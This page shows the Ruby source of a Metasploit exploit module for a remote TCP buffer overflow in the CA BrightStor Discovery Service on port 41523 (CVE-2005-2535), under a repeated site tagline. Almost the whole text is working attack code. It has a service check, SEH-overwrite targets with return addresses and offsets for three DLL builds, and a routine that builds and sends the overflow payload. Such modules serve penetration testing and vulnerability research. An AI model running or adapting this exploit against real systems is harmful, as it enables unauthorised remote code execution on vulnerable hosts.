Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/discovery_tcp.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA BrightStor Discovery Service TCP Overflow',14'Description' => %q{15This module exploits a vulnerability in the CA BrightStor16Discovery Service. This vulnerability occurs when a specific17type of request is sent to the TCP listener on port 41523.18This vulnerability was discovered by cybertronic[at]gmx.net19and affects all known versions of the BrightStor product.20This module is based on the 'cabrightstor_disco' exploit by21HD Moore.22},23'Author' => [ 'hdm', 'aushack' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2005-2535'],28[ 'OSVDB', '13814'],29[ 'BID', '12536'],30[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],31[ 'EDB', '1131']32],33'Privileged' => true,34'Payload' =>35{36'Space' => 2048,37'BadChars' => "\x00",38'StackAdjustment' => -3500,39},40'Platform' => %w{ win },41'Targets' =>42[43[44'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.045{46'Platform' => 'win',47'Ret' => 0x23803b20, # pop/pop/ret48'Offset' => 1032,49},50],51[52'cheyprod.dll 12/12/2003',53{54'Platform' => 'win',55'Ret' => 0x23805714, # pop/pop/ret56'Offset' => 1024,57},58],59[60'cheyprod.dll 07/21/2004',61{62'Platform' => 'win',63'Ret' => 0x23805d10, # pop/pop/ret64'Offset' => 1024,65},66],67],68'DisclosureDate' => '2005-02-14',69'DefaultTarget' => 1))7071register_options(72[73Opt::RPORT(41523)74])75end7677def check7879# The first request should have no reply80csock = Rex::Socket::Tcp.create(81'PeerHost' => datastore['RHOST'],82'PeerPort' => datastore['RPORT'],83'Context' =>84{85'Msf' => framework,86'MsfExploit' => self,87})8889csock.put('META')90x = csock.get_once(-1, 3)91csock.close9293# The second request should be replied with the host name94csock = Rex::Socket::Tcp.create(95'PeerHost' => datastore['RHOST'],96'PeerPort' => datastore['RPORT'],97'Context' =>98{99'Msf' => framework,100'MsfExploit' => self,101})102103csock.put('hMETA')104y = csock.get_once(-1, 3)105csock.close106107if (y and not x)108return Exploit::CheckCode::Detected109end110return Exploit::CheckCode::Safe111end112113def exploit114connect115116print_status("Trying target #{target.name}...")117118buf = rand_text_english(4096)119120# Overwriting the return address works well, but the only register121# pointing back to our code is 'esp'. The following stub overwrites122# the SEH frame instead, making things a bit easier.123124seh = generate_seh_payload(target.ret)125buf[target['Offset'], seh.length] = seh126127# Make sure the return address is invalid to trigger SEH128buf[ 900, 100] = (rand(127)+128).chr * 100129130# SERVICEPC is the client host name actually =P (thanks Juliano!)131req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"132req << buf133134sock.put(req)135sock.get_once136137handler138disconnect139end140end141142143